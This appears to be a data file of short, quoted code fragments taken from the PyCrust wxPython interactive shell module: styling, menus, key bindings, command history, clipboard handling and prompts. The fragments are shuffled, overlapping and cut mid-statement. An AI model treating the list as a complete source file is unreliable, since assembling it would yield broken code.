"self.StyleSetSpec(wxSTC_P_STRINGEOL, \"fore:#000000,face:%(mono)s,back:#E0C0E0,eolfilled\" % faces) def OnUpdateUI(self, evt): \"\"\"Check for matching braces.\"\"\" braceAtCaret =",
"tree view', 1) m.AppendMenu(ID_FILLING, '&Filling', fm, 'Filling Options') m = self.helpMenu = wxMenu()",
"in self.handlers: handler() self.prompt() def addHistory(self, command): \"\"\"Add command to the command history.\"\"\"",
"the interpreter's namespace. try: self.setBuiltinKeywords() except: pass # Add 'shell' to the interpreter's",
"\"\"\"Copy selection and place it on the clipboard.\"\"\" if self.CanCopy(): command = self.GetSelectedText()",
"pass else: event.Skip() def clearCommand(self): \"\"\"Delete the current, unexecuted command.\"\"\" startpos = self.promptPosEnd",
"source for Python programming expertise.\"\"\" from __future__ import print_function __author__ = \"<NAME> <<EMAIL>>\"",
"AttributeError: return 'Wrapping is not available in this version of PyCrust.' def zoom(self,",
"bug in wxSTC for wxPython < 2.3.3. if charBefore < 0: charBefore =",
"+ 1) fallback = curpos - self.GetColumn(curpos) # In case there isn't enough",
"enter to continue:') def clear(self): \"\"\"Delete all text from the shell.\"\"\" self.ClearAll() def",
"# note that the presence of a PythonObject on the # clipboard is",
"if text[:ps1size] == ps1: line = self.GetCurrentLine() self.GotoLine(line) startpos = self.GetCurrentPos() + ps1size",
"(Enter) is used to submit a command to the interpreter. if not controlDown",
"prompt off the front of text. if text[:ps1size] == ps1: text = text[ps1size:]",
"# Do we want to automatically pop up command completion options? self.autoComplete =",
"self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT, \"fore:#0000FF,back:#FFFF88\") self.StyleSetSpec(wxSTC_STYLE_BRACEBAD, \"fore:#FF0000,back:#FFFF88\") # Python styles self.StyleSetSpec(wxSTC_P_DEFAULT, \"face:%(mono)s\"",
"PYTHONSTARTUP script if they have one.\"\"\" if startupScript and os.path.isfile(startupScript): startupText = 'Startup",
"to submit a command to the interpreter. if not controlDown and key ==",
"return if self.CallTipActive(): self.CallTipCancel() self.processLine() # Ctrl+Return (Cntrl+Enter) is used to insert a",
"#------------------------------------------------------------------------------ # Copyright (c) 2005, Enthought, Inc. # All rights reserved. # #",
"\"\"\" def help(self): \"\"\"Display some useful information about how to use the shell.\"\"\"",
"Clear the current, unexecuted command. elif key == WXK_ESCAPE: if self.CallTipActive(): event.Skip() else:",
"self.OnHistoryInsert(step=-1) # Search up the history for the text in front of the",
"'Include Magic Attributes', \\ 'Include attributes visible to __getattr__ and __setattr__', 1) m.Append(ID_AUTOCOMP_INCLUDE_SINGLE,",
"0: if isreading: skip = 1 else: self.write(os.linesep) if not self.more: self.promptPosStart =",
"'Show methods and functions in the tree view', 1) fm.Append(ID_FILLING_SHOW_CLASS, 'Show __class__', 'Show",
"'About PyCrust') b = self.menuBar = wxMenuBar() b.Append(self.fileMenu, '&File') b.Append(self.editMenu, '&Edit') b.Append(self.optionsMenu, '&Options')",
"EVT_MENU(self, wxID_COPY, self.OnCopy) EVT_MENU(self, wxID_PASTE, self.OnPaste) EVT_MENU(self, wxID_CLEAR, self.OnClear) EVT_MENU(self, wxID_SELECTALL, self.OnSelectAll) EVT_MENU(self,",
"event.Enable(self.shell.CanCopy()) elif id == wxID_PASTE: event.Enable(self.shell.CanPaste()) elif id == wxID_CLEAR: event.Enable(self.shell.CanCut()) elif id",
"\"\"\"Create a PyCrust Shell instance.\"\"\" wxStyledTextCtrl.__init__(self, parent, id, pos, size, style) # Grab",
"self.shell.Redo() def OnCut(self, event): self.shell.Cut() def OnCopy(self, event): self.shell.Copy() def OnPaste(self, event): self.shell.Paste()",
"self.SetCurrentPos(home) if not selecting and not shiftDown: self.SetAnchor(home) self.EnsureCaretVisible() else: event.Skip() # #",
"self.write(os.linesep) if not self.more: self.promptPosStart = self.GetCurrentPos() if not skip: self.write(prompt) if not",
"and the cursor. # Add the '(' to the end of the command.",
"the history, unless it's a blank # line or the same as the",
"the previous command to the list. commands.append(command) # Start a new command, which",
"was typed in directly. >>> shell.run('print \"this\"') >>> print \"this\" this >>> \"\"\"",
"\\ self.OnAutoCompleteShow) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_MAGIC, \\ self.OnAutoCompleteIncludeMagic) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_SINGLE, \\ self.OnAutoCompleteIncludeSingle) EVT_MENU(self, ID_AUTOCOMP_INCLUDE_DOUBLE, \\",
"event.IsChecked() tree.update() def OnFillingShowClass(self, event): tree = self.crust.filling.fillingTree tree.showClass = event.IsChecked() tree.update() def",
"by the enclosing app # to do something more interesting, like write to",
"commands have prompts. if rstrip: command = command.rstrip() return command def lstripPrompt(self, text):",
"- startpos searchText = self.getCommand(rstrip=0) if numCharsAfterCursor > 0: searchText = searchText[:-numCharsAfterCursor] if",
"undoing previous responses. self.EmptyUndoBuffer() # XXX Add some autoindent magic here if more.",
"title, wxOK | wxICON_INFORMATION) dialog.ShowModal() dialog.Destroy() def OnAutoCompleteShow(self, event): self.shell.autoComplete = event.IsChecked() def",
"if isreading: prompt = str(sys.ps3) elif self.more: prompt = str(sys.ps2) else: prompt =",
"= self.history[i] if command[:len(searchText)] == searchText: # Replace the current selection with the",
"chunks = lines[l].split('\\r') for c in range(len(chunks)): chunks[c] = os.linesep.join(chunks[c].split('\\n')) lines[l] = os.linesep.join(chunks)",
"and key == WXK_DOWN) \\ or (altDown and key in (ord('N'), ord('n'))): self.OnHistoryReplace(step=-1)",
"self.GetStyleAt(caretPos) if charAfter and chr(charAfter) in '[]{}()' \\ and styleAfter == wxSTC_P_OPERATOR: braceAtCaret",
"else: # If the line contains a command (even an invalid one). if",
"'\\\\n', os.linesep + sys.ps2) self.clearCommand() self.write(command) # Process the command if the 'Enter'",
"completions = self.interp.getTopLevelCompletions(command) if len(completions) == 0: return 0 if len(completions) == 1:",
"self.ReplaceSelection('') command = data.GetText() command = command.rstrip() command = self.fixLineEndings(command) command = self.lstripPrompt(text=command)",
"' # Input prompt. NAVKEYS = (WXK_END, WXK_LEFT, WXK_RIGHT, WXK_UP, WXK_DOWN, WXK_PRIOR, WXK_NEXT)",
"multi-line commands. self.more = 0 # Create the command history. Commands are added",
"banner information. try: self.showIntro(introText) except: pass # Assign some pseudo keywords to the",
"dot (period) key activates auto completion. # Get the command between the prompt",
"tippos = max(tippos, fallback) self.CallTipShow(tippos, tip) def historyShow(self, prefix=''): items = [] for",
"submitted commands/responses. key = event.KeyCode() controlDown = event.ControlDown() altDown = event.AltDown() shiftDown =",
"stoppos = self.GetCurrentPos() command = self.GetTextRange(startpos, stoppos) command = command.replace(os.linesep + sys.ps2, '\\n')",
"m = self.optionsMenu = wxMenu() m.AppendMenu(ID_AUTOCOMP, '&Auto Completion', self.autocompMenu, \\ 'Auto Completion Options')",
"elif id == wxID_COPY: event.Enable(self.shell.CanCopy()) elif id == wxID_PASTE: event.Enable(self.shell.CanPaste()) elif id ==",
"Add the autocomplete character to the end of the command. command = self.GetTextRange(stoppos,",
"'Call Tip Options') if hasattr( self, 'crust' ): fm = self.fillingMenu = wxMenu()",
"shell.\"\"\" self.ClearAll() def run(self, command, prompt=1, verbose=1): \"\"\"Execute command within the shell as",
"EVT_KEY_DOWN(self, self.OnKeyDown) EVT_CHAR(self, self.OnChar) # Assign handlers for wxSTC events. EVT_STC_UPDATEUI(self, id, self.OnUpdateUI)",
"searchText = self.getCommand(rstrip=0) if numCharsAfterCursor > 0: searchText = searchText[:-numCharsAfterCursor] if not searchText:",
"keywords as part of builtins. This simply sets \"close\", \"exit\" and \"quit\" to",
"= self.promptPosEnd if currpos > home: self.SetCurrentPos(home) if not selecting and not shiftDown:",
"(ord('C'), ord('c'), WXK_INSERT): self.Copy() # Copy to the clipboard, including prompts. elif controlDown",
"into the front of # the list (ie. at index 0) as they",
"\\ 'Input Dialog (Raw)', '') try: if dialog.ShowModal() == wxID_OK: text = dialog.GetValue()",
"all history entries that match the command typed so far: elif key ==",
"self.reader.isreading = 0 # Set up the interpreter. self.interp = Interpreter(locals=shellLocals, \\ rawin=self.raw_input,",
"the application.\"\"\" # XXX Good enough for now but later we want to",
"# Copy to the clipboard. elif controlDown and not shiftDown \\ and key",
"script executed: ' + startupScript self.push('print %s;execfile(%s)' % \\ ('startupText', 'startupScript')) else: self.push('')",
"Need to keep track of the # prompt every time a command is",
"command = self.lstripPrompt(text=command) command = command.replace(os.linesep + sys.ps2, '\\n') command = command.replace(os.linesep, '\\n')",
"!= self.history[0]): self.history.insert(0, command) def write(self, text): \"\"\"Display text in the shell. Replace",
"wxStyledTextCtrl.\"\"\" name = 'PyCrust Shell' revision = __revision__ def __init__(self, parent, id=-1, pos=wxDefaultPosition,",
"\\ stdin=self.reader, \\ stdout=PseudoFileOut(self.writeOut), \\ stderr=PseudoFileErr(self.writeErr), \\ *args, **kwds) # Find out for",
"Next History item. F8 Command-completion of History item. (Type a few characters of",
"return startpos = self.GetCurrentPos() # The text up to the cursor is what",
"text: command = '' # Real commands have prompts. if rstrip: command =",
"text): \"\"\"Return text with line endings replaced by OS-specific endings.\"\"\" lines = text.split('\\r\\n')",
"startupText = 'Startup script executed: ' + startupScript self.push('print %s;execfile(%s)' % \\ ('startupText',",
"to continue:') def clear(self): \"\"\"Delete all text from the shell.\"\"\" self.ClearAll() def run(self,",
"else: return 0 else: return self.GetCurrentPos() >= self.promptPosEnd def Cut(self): \"\"\"Remove selection and",
"is issued. ps1 = str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2) ps2size =",
"OnHistorySearch(self): \"\"\"Search up the history buffer for the text in front of the",
"word wrapped.\"\"\" try: self.SetWrapMode(wrap) except AttributeError: return 'Wrapping is not available in this",
"self.autocompMenu, \\ 'Auto Completion Options') m.AppendMenu(ID_CALLTIPS, '&Call Tips', self.calltipsMenu, \\ 'Call Tip Options')",
"not None: # note that the presence of a PythonObject on the #",
"for stdin.readline().\"\"\" input = '' reader = self.reader reader.isreading = 1 self.prompt() try:",
"is up let it do its thing. elif self.AutoCompActive(): event.Skip() # Let Ctrl-Alt-*",
"self.GetCurrentPos() stoppos = self.promptPosEnd # Return (Enter) needs to be ignored in this",
"self.history: item = item.replace( '\\n', '\\\\n' ) if (prefix == item[:len(prefix)]) and item",
"import keyword import os import sys from wx.py.pseudo import PseudoFileIn, PseudoFileOut, PseudoFileErr from",
"wxNewId() ID_AUTOCOMP_INCLUDE_MAGIC = wxNewId() ID_AUTOCOMP_INCLUDE_SINGLE = wxNewId() ID_AUTOCOMP_INCLUDE_DOUBLE = wxNewId() ID_CALLTIPS = wxNewId()",
"F8 Command-completion of History item. (Type a few characters of a previous command",
"%s\\n\\n' % self.shell.interp.revision + \\ 'Python Version: %s\\n' % sys.version.split()[0] + \\ 'wxPython",
"what it wants to do. self.write('Click on the close button to leave the",
"tree = self.crust.filling.fillingTree tree.showDoc = event.IsChecked() tree.update() def OnFillingShowModule(self, event): tree = self.crust.filling.fillingTree",
"go to the shell.\"\"\" if redirect: sys.stdout = PseudoFileOut(self.writeOut) else: sys.stdout = self.stdout",
"case there isn't enough room, only go back to the fallback. tippos =",
"braceAtCaret = -1 braceOpposite = -1 charBefore = None caretPos = self.GetCurrentPos() if",
"you # retrieve the previous command, decremented as you retrieve the # next,",
"self.historyPrefix = 1 self.historyMatches = None prefix = self.getCommand(rstrip=0) n = len(prefix) if",
"OnAbout(self, event): \"\"\"Display an About PyCrust window.\"\"\" import sys title = 'About PyCrust'",
"the list. commands.append(command) # Start a new command, which may be multiline. command",
"\\tCtrl+Z', 'Undo the last action') m.Append(wxID_REDO, '&Redo \\tCtrl+Y', 'Redo the last undone action')",
"the text in front of the cursor.\"\"\" if not self.CanEdit(): return startpos =",
"dialog.Destroy() def OnAutoCompleteShow(self, event): self.shell.autoComplete = event.IsChecked() def OnAutoCompleteIncludeMagic(self, event): self.shell.autoCompleteIncludeMagic = event.IsChecked()",
"for execution.\"\"\" self.write(os.linesep) busy = wxBusyCursor() self.more = self.interp.push(command) del busy if not",
"self.AutoCompShow(offset, options) def autoCallTipShow(self, command): \"\"\"Display argument spec and docstring in a popup",
"key in (ord('N'), ord('n'))): self.OnHistoryReplace(step=-1) # Insert the previous command from the history",
"EVT_MENU(self, wxID_PASTE, self.OnPaste) EVT_MENU(self, wxID_CLEAR, self.OnClear) EVT_MENU(self, wxID_SELECTALL, self.OnSelectAll) EVT_MENU(self, wxID_ABOUT, self.OnAbout) EVT_MENU(self,",
"event.Check(self.shell.autoCompleteIncludeSingle) elif id == ID_AUTOCOMP_INCLUDE_DOUBLE: event.Check(self.shell.autoCompleteIncludeDouble) elif id == ID_CALLTIPS_SHOW: event.Check(self.shell.autoCallTip) elif id",
"= data.GetText() command = command.rstrip() command = self.fixLineEndings(command) command = self.lstripPrompt(text=command) command =",
"== ID_CALLTIPS_SHOW: event.Check(self.shell.autoCallTip) elif id == ID_FILLING_AUTO_UPDATE: event.Check(self.crust.filling.fillingTree.autoUpdate) elif id == ID_FILLING_SHOW_METHODS: event.Check(self.crust.filling.fillingTree.showMethods)",
"'Automatically update tree view after each command', 1) fm.Append(ID_FILLING_SHOW_METHODS, 'Show Methods', 'Show methods",
"'Times', 'mono' : 'Courier', 'helv' : 'Helvetica', 'other' : 'new century schoolbook', 'size'",
"in file as if they were typed into the shell.\"\"\" file = open(filename)",
"history buffer. elif (controlDown and key == WXK_DOWN) \\ or (altDown and key",
"end of the line. Ctrl+C Copy selected text, removing prompts. Ctrl+Shift+C Copy selected",
"will most likely be replaced by the enclosing app # to do something",
"typed into the shell.\"\"\" file = open(filename) try: self.prompt() for command in file.readlines():",
"'__WXMSW__': faces = { 'times' : 'Times New Roman', 'mono' : 'Courier New',",
"commands. self.more = 0 # Create the command history. Commands are added into",
"ID_FILLING_SHOW_MODULE = wxNewId() class ShellMenu: \"\"\"Mixin class to add standard menu items.\"\"\" def",
"endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) # We've now warped into middle of the",
"the cursor. elif key == WXK_F8: self.OnHistorySearch() # Show all history entries that",
"= self.__dict__ d['other'] = other d['helpText'] = \\ \"\"\" * Key bindings: Home",
"text def prompt(self): \"\"\"Display appropriate prompt for the context, either ps1, ps2 or",
"prompt and the cursor. # Add the '(' to the end of the",
"reader.isreading = 0 return input def raw_input(self, prompt=''): \"\"\"Return string based on user",
"self.execStartupScript(self.interp.startupScript) except: pass def destroy(self): # del self.interp pass def config(self): \"\"\"Configure shell",
"text = text[ps1size:] elif text[:ps2size] == ps2: text = text[ps2size:] return text def",
"= wxNewId() ID_AUTOCOMP = wxNewId() ID_AUTOCOMP_SHOW = wxNewId() ID_AUTOCOMP_INCLUDE_MAGIC = wxNewId() ID_AUTOCOMP_INCLUDE_SINGLE =",
"id == ID_FILLING_SHOW_METHODS: event.Check(self.crust.filling.fillingTree.showMethods) elif id == ID_FILLING_SHOW_CLASS: event.Check(self.crust.filling.fillingTree.showClass) elif id == ID_FILLING_SHOW_DICT:",
"elif key == WXK_DELETE: if self.CanEdit(): event.Skip() elif key == WXK_TAB: if self.CanEdit()",
"{ 'times' : 'Times New Roman', 'mono' : 'Courier New', 'helv' : 'Lucida",
"list(range(len(self.history))) else: searchOrder = list(range(self.historyIndex+1, len(self.history))) + \\ list(range(self.historyIndex)) for i in searchOrder:",
"hit RETURN inside the current command, execute the command. if self.CanEdit(): self.SetCurrentPos(endpos) self.interp.more",
"id=-1, pos=wxDefaultPosition, \\ size=wxDefaultSize, style=wxCLIP_CHILDREN, introText='', \\ locals=None, InterpClass=None, *args, **kwds): \"\"\"Create a",
"command, decremented as you retrieve the # next, and reset when you hit",
"= event.KeyCode() controlDown = event.ControlDown() altDown = event.AltDown() shiftDown = event.ShiftDown() currpos =",
"text): \"\"\"Return text without a leading prompt.\"\"\" ps1 = str(sys.ps1) ps1size = len(ps1)",
"History items. (Type a few characters of a previous command and then press",
"some pseudo keywords to the interpreter's namespace. try: self.setBuiltinKeywords() except: pass # Add",
"command within the shell as if it was typed in directly. >>> shell.run('print",
"wxRELEASE_NUMBER) < (2, 3, 2): faces['size'] -= 2 faces['lnsize'] -= 2 else: #",
"command def lstripPrompt(self, text): \"\"\"Return text without a leading prompt.\"\"\" ps1 = str(sys.ps1)",
"self.CanCut() and self.CanCopy(): if self.AutoCompActive(): self.AutoCompCancel() if self.CallTipActive: self.CallTipCancel() self.Copy() self.ReplaceSelection('') def Copy(self):",
"sys.ps2, '\\n') command = command.replace(os.linesep, '\\n') command = command.replace('\\n', os.linesep + sys.ps2) self.write(command)",
"event): self.shell.autoCallTip = event.IsChecked() def OnFillingAutoUpdate(self, event): tree = self.crust.filling.fillingTree tree.autoUpdate = event.IsChecked()",
"event.ControlDown() altDown = event.AltDown() shiftDown = event.ShiftDown() currpos = self.GetCurrentPos() endpos = self.GetTextLength()",
"self.historyShow() else: command += chr(key) self.write(chr(key)) if self.autoComplete: self.autoCompleteShow(command) elif key == ord('('):",
"the current selection with the one we've found. self.ReplaceSelection(command[len(searchText):]) endpos = self.GetCurrentPos() self.SetSelection(endpos,",
"prompt. NAVKEYS = (WXK_END, WXK_LEFT, WXK_RIGHT, WXK_UP, WXK_DOWN, WXK_PRIOR, WXK_NEXT) if wxPlatform ==",
"= '' self.reader.isreading = 0 # Set up the interpreter. self.interp = Interpreter(locals=shellLocals,",
"the user's PYTHONSTARTUP script if they have one.\"\"\" if startupScript and os.path.isfile(startupScript): startupText",
".drag_and_drop import PythonObject from .drag_and_drop import clipboard as enClipboard sys.ps3 = '<-- '",
"BSD # license included in enthought/LICENSE.txt and may be redistributed only # under",
"available online at http://www.enthought.com/licenses/BSD.txt # Thanks for using Enthought open source! # #",
"== WXK_INSERT: pass # Don't allow line deletion. elif controlDown and key in",
"text = text.strip() text = self.fixLineEndings(text) text = self.lstripPrompt(text=text) text = text.replace(os.linesep +",
"are visible to the user.\"\"\" name = 'PyCrust Shell Interface' revision = __revision__",
"'About PyCrust' text = 'PyCrust %s\\n\\n' % VERSION + \\ 'Yet another Python",
"sys.ps1, os.linesep) command = self.lstripPrompt(text=command) data = wxTextDataObject(command) if wxTheClipboard.Open(): wxTheClipboard.SetData(data) wxTheClipboard.Close() def",
"styles self.StyleSetSpec(wxSTC_STYLE_LINENUMBER, \"back:#C0C0C0,face:%(mono)s,size:%(lnsize)d\" % faces) self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT, \"fore:#0000FF,back:#FFFF88\") self.StyleSetSpec(wxSTC_STYLE_BRACEBAD, \"fore:#FF0000,back:#FFFF88\")",
"ord('v'))) \\ or (shiftDown and not controlDown and key == WXK_INSERT): self.Paste() #",
"= command.replace(os.linesep + sys.ps1, os.linesep) command = self.lstripPrompt(text=command) data = wxTextDataObject(command) if wxTheClipboard.Open():",
"'Show Call Tips', \\ 'Show call tips with argument specifications', 1) m =",
"elif (controlDown and not shiftDown \\ and key in (ord('V'), ord('v'))) \\ or",
"event.Skip() elif key == WXK_TAB: if self.CanEdit() and not self.topLevelComplete(): event.Skip() # Don't",
"sure they want to quit. # Other applications, like PythonCard, may choose to",
"% faces) self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT, \"fore:#0000FF,back:#FFFF88\") self.StyleSetSpec(wxSTC_STYLE_BRACEBAD, \"fore:#FF0000,back:#FFFF88\") # Python styles self.StyleSetSpec(wxSTC_P_DEFAULT, \"face:%(mono)s\" % faces)",
"- self.GetColumn(curpos) # In case there isn't enough room, only go back to",
"sys.stdin will come from the shell.\"\"\" if redirect: sys.stdin = self.reader else: sys.stdin",
"specifications', 1) m = self.optionsMenu = wxMenu() m.AppendMenu(ID_AUTOCOMP, '&Auto Completion', self.autocompMenu, \\ 'Auto",
"'Yet another Python shell, only flakier.\\n\\n' + \\ 'Half-baked by <NAME>,\\n' + \\",
"beginning of the command or line. Shift+Home Select to the beginning of the",
"'clear', 'pause', 'prompt', 'quit', 'redirectStderr', 'redirectStdin', 'redirectStdout', 'run', 'runfile', 'wrap', 'zoom', ] for",
"call tips with argument specifications', 1) m = self.optionsMenu = wxMenu() m.AppendMenu(ID_AUTOCOMP, '&Auto",
"wxSTC for wxPython < 2.3.3. if charBefore < 0: charBefore = 32 #",
"if locals: shellLocals.update(locals) # Create a replacement for stdin. self.reader = PseudoFileIn(self.readline) self.reader.input",
"as enClipboard sys.ps3 = '<-- ' # Input prompt. NAVKEYS = (WXK_END, WXK_LEFT,",
"command (even an invalid one). if self.getCommand(rstrip=0): command = self.getMultilineCommand() self.clearCommand() self.write(command) #",
"inside the current command, execute the command. if self.CanEdit(): self.SetCurrentPos(endpos) self.interp.more = 0",
"== '')): self.historyShow() else: self.insertLineBreak() # If the auto-complete window is up let",
"= self.interp.getAutoCompleteKeys() # Keep track of the last non-continuation prompt positions. self.promptPosStart =",
"'Times New Roman', 'mono' : 'Courier New', 'helv' : 'Lucida Console', 'lucida' :",
"shell.\"\"\" if redirect: sys.stderr = PseudoFileErr(self.writeErr) else: sys.stderr = self.stderr def CanCut(self): \"\"\"Return",
"ID_FILLING_SHOW_CLASS, self.OnFillingShowClass) EVT_MENU(self, ID_FILLING_SHOW_DICT, self.OnFillingShowDict) EVT_MENU(self, ID_FILLING_SHOW_DOC, self.OnFillingShowDoc) EVT_MENU(self, ID_FILLING_SHOW_MODULE, self.OnFillingShowModule) EVT_UPDATE_UI(self, ID_FILLING_AUTO_UPDATE,",
"= len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2) # Strip the prompt off",
"1 self.GotoLine(line) while self.GetCurLine()[0][:ps2size] == ps2: line += 1 self.GotoLine(line) stoppos = self.GetCurrentPos()",
"a double underscore', 1) m = self.calltipsMenu = wxMenu() m.Append(ID_CALLTIPS_SHOW, 'Show Call Tips',",
"'Comic Sans MS', 'size' : 10, 'lnsize' : 9, 'backcol': '#FFFFFF', } #",
"else: self.run(command, prompt=0, verbose=1) finally: file.close() def autoCompleteShow(self, command): \"\"\"Display auto-completion popup list.\"\"\"",
"= self.GetStyleAt(caretPos - 1) # Check before. if charBefore and chr(charBefore) in '[]{}()'",
"keys should work anywhere. elif key in NAVKEYS: event.Skip() # Protect the readonly",
"searchText: # Replace the current selection with the one we've found. self.ReplaceSelection(command[len(searchText):]) endpos",
"font was 2 points too large. So we need to reduce the font",
"prompt.\"\"\" ps1 = str(sys.ps1) ps1size = len(ps1) ps2 = str(sys.ps2) ps2size = len(ps2)",
"getCommand(self, text=None, rstrip=1): \"\"\"Extract a command from text which may include a shell",
"valid Python syntax.\"\"\" if not text: text = self.GetCurLine()[0] # Strip the prompt",
"shell prompt. The command may not necessarily be valid Python syntax.\"\"\" if not",
"= 0 self.AutoCompShow(offset, options) def autoCallTipShow(self, command): \"\"\"Display argument spec and docstring in",
"files are always available at the SourceForge project page at http://sourceforge.net/projects/pycrust/. Sponsored by",
"# environment. They can override anything they want. try: self.execStartupScript(self.interp.startupScript) except: pass def",
"in the aforementioned license. The license # is also available online at http://www.enthought.com/licenses/BSD.txt",
"Set up the interpreter. self.interp = Interpreter(locals=shellLocals, \\ rawin=self.raw_input, \\ stdin=self.reader, \\ stdout=PseudoFileOut(self.writeOut),",
"# decide what it wants to do. self.write('Click on the close button to",
"elif key in NAVKEYS: event.Skip() # Protect the readonly portion of the shell.",
"behavior of the standard Python shell when # the user hits return without",
"__cvsid__ = \"$Id: shell.py,v 1.2 2003/06/13 17:59:34 dmorrill Exp $\" __revision__ = \"$Revision:",
"text.endswith(os.linesep): text += os.linesep self.write(text) try: self.write(self.interp.introText) except AttributeError: pass wxCallAfter(self.ScrollToLine, 0) def",
"and key in (ord('V'), ord('v')): self.PasteAndRun() # Replace with the previous command from",
"faces['lnsize'] -= 2 else: # GTK faces = { 'times' : 'Times', 'mono'",
"include a shell prompt. The command may not necessarily be valid Python syntax.\"\"\"",
"'' reader = self.reader reader.isreading = 1 self.prompt() try: while not reader.input: wxYield()",
"on Win platform. # The font was 2 points too large. So we",
"= self.GetTextLength() self.SetCurrentPos(endpos) command = command.rstrip() if prompt: self.prompt() if verbose: self.write(command) self.push(command)",
"except AttributeError: pass def showIntro(self, text=''): \"\"\"Display introductory text in the shell.\"\"\" if",
"= 0 command = self.GetTextRange(startpos, endpos) lines = command.split(os.linesep + sys.ps2) lines =",
"startpos = self.GetCurrentPos() self.write(argspec + ')') endpos = self.GetCurrentPos() self.SetSelection(endpos, startpos) if tip:",
": 'new century schoolbook', 'size' : 12, 'lnsize' : 10, 'backcol': '#FFFFFF', }",
"__setattr__(self, name, value): if name in self.__dict__: self.__dict__[name] = value elif hasattr(self.other, name):",
"from the clipboard. elif (controlDown and not shiftDown \\ and key in (ord('V'),",
"# to the beginning if we don't find anything. if (self.historyIndex <= -1)",
"a value. command = '\\n' self.reader.input = command self.write(os.linesep) else: self.push(command) # Or",
"faces) self.StyleSetSpec(wxSTC_STYLE_CONTROLCHAR, \"face:%(mono)s\" % faces) self.StyleSetSpec(wxSTC_STYLE_BRACELIGHT, \"fore:#0000FF,back:#FFFF88\") self.StyleSetSpec(wxSTC_STYLE_BRACEBAD, \"fore:#FF0000,back:#FFFF88\") # Python styles self.StyleSetSpec(wxSTC_P_DEFAULT,",
"writeOut(self, text): \"\"\"Replacement for stdout.\"\"\" self.write(text) def writeErr(self, text): \"\"\"Replacement for stderr.\"\"\" self.write(text)",
"self.promptPosEnd: return 1 else: return 0 else: return self.GetCurrentPos() >= self.promptPosEnd def Cut(self):",
"ShellMenu: \"\"\"Mixin class to add standard menu items.\"\"\" def createMenus(self): m = self.fileMenu",
"self.shell.autoCompleteIncludeMagic = event.IsChecked() def OnAutoCompleteIncludeSingle(self, event): self.shell.autoCompleteIncludeSingle = event.IsChecked() def OnAutoCompleteIncludeDouble(self, event): self.shell.autoCompleteIncludeDouble",
"they are entered. self.historyIndex # is the current position in the history; it",
"else: command = '' if rstrip: command = command.rstrip() return command def getCommand(self,",
"\\ and key in (ord('C'), ord('c'), WXK_INSERT): self.CopyWithPrompts() # Home needs to be",
"Ctrl+X Cut selected text. Ctrl+V Paste from clipboard. Ctrl+Shift+V Paste and run multiple",
"so far: elif key == WXK_F9: self.historyShow(self.getCommand(rstrip=0)) # Don't backspace over the latest",
"to magnify or negative to reduce.\"\"\" self.SetZoom(points) wxID_SELECTALL = wxNewId() ID_AUTOCOMP = wxNewId()",
"command or line. Shift+Home Select to the beginning of the command or line.",
"def writeErr(self, text): \"\"\"Replacement for stderr.\"\"\" self.write(text) def redirectStdin(self, redirect=1): \"\"\"If redirect is",
"a few characters of a previous command and then press F8.) F9 Pop-up",
"0: self.historyMatches = matches = [] for command in self.history: if command[:n] ==",
"ID_FILLING_SHOW_CLASS: event.Check(self.crust.filling.fillingTree.showClass) elif id == ID_FILLING_SHOW_DICT: event.Check(self.crust.filling.fillingTree.showDict) elif id == ID_FILLING_SHOW_DOC: event.Check(self.crust.filling.fillingTree.showDoc) elif",
"only # under the conditions described in the aforementioned license. The license #",
"controlDown and key == WXK_INSERT): self.Paste() # Paste from the clipboard, run commands.",
"The user hit ENTER and we need to decide what to do. They",
"self.AutoCompSetSeparator(ord('\\n')) # Do we want to automatically pop up command argument help? self.autoCallTip",
"If the line contains a command (even an invalid one). if self.getCommand(rstrip=0): command",
"a command from text which may include a shell prompt. The command may",
"text[:ps2size] == ps2 and line > 0: line -= 1 self.GotoLine(line) text =",
"# Mimic a space. #*** styleAfter = self.GetStyleAt(caretPos) if charAfter and chr(charAfter) in",
"for the Enter key? self.processLine() def topLevelComplete(self): command = self.getCommand(rstrip=0) completions = self.interp.getTopLevelCompletions(command)",
"self.readline() def ask(self, prompt='Please enter your response:'): \"\"\"Get response from the user using",
"the selection') m.Append(wxID_SELECTALL, 'Select A&ll', 'Select all text') m = self.autocompMenu = wxMenu()",
"== None: from PyCrust.interpreter import Interpreter else: Interpreter = InterpClass # Create default",
"pass def showIntro(self, text=''): \"\"\"Display introductory text in the shell.\"\"\" if text: if",
"handler. Only receives an event if OnKeyDown calls event.Skip() for the corresponding event.\"\"\"",
"so we have something interesting. shellLocals = {'__name__': 'PyCrust-Shell', '__doc__': 'PyCrust-Shell, The PyCrust",
"to keep track of the # prompt every time a command is issued.",
"the front of text leaving just the command. command = self.lstripPrompt(text) if command",
"execStartupScript(self, startupScript): \"\"\"Execute the user's PYTHONSTARTUP script if they have one.\"\"\" if startupScript",
"Pop-up window of matching History items. (Type a few characters of a previous",
"self.StyleSetSpec(wxSTC_P_WORD, \"fore:#00007F,bold\") self.StyleSetSpec(wxSTC_P_TRIPLE, \"fore:#7F0000\") self.StyleSetSpec(wxSTC_P_TRIPLEDOUBLE, \"fore:#000033,back:#FFFFE8\") self.StyleSetSpec(wxSTC_P_CLASSNAME, \"fore:#0000FF,bold\") self.StyleSetSpec(wxSTC_P_DEFNAME, \"fore:#007F7F,bold\") self.StyleSetSpec(wxSTC_P_OPERATOR, \"\") self.StyleSetSpec(wxSTC_P_IDENTIFIER,",
"command from the history buffer.\"\"\" if not self.historyPrefix: self.historyPrefix = 1 self.historyMatches =",
"command to the interpreter for execution.\"\"\" self.write(os.linesep) busy = wxBusyCursor() self.more = self.interp.push(command)",
"= \"<NAME> <<EMAIL>>\" __cvsid__ = \"$Id: shell.py,v 1.2 2003/06/13 17:59:34 dmorrill Exp $\"",
"and (len(self.history) == 0 or command != self.history[0]): self.history.insert(0, command) def write(self, text):",
"command = command.rstrip() command = command.replace('\\n', os.linesep + sys.ps2) else: command = ''",
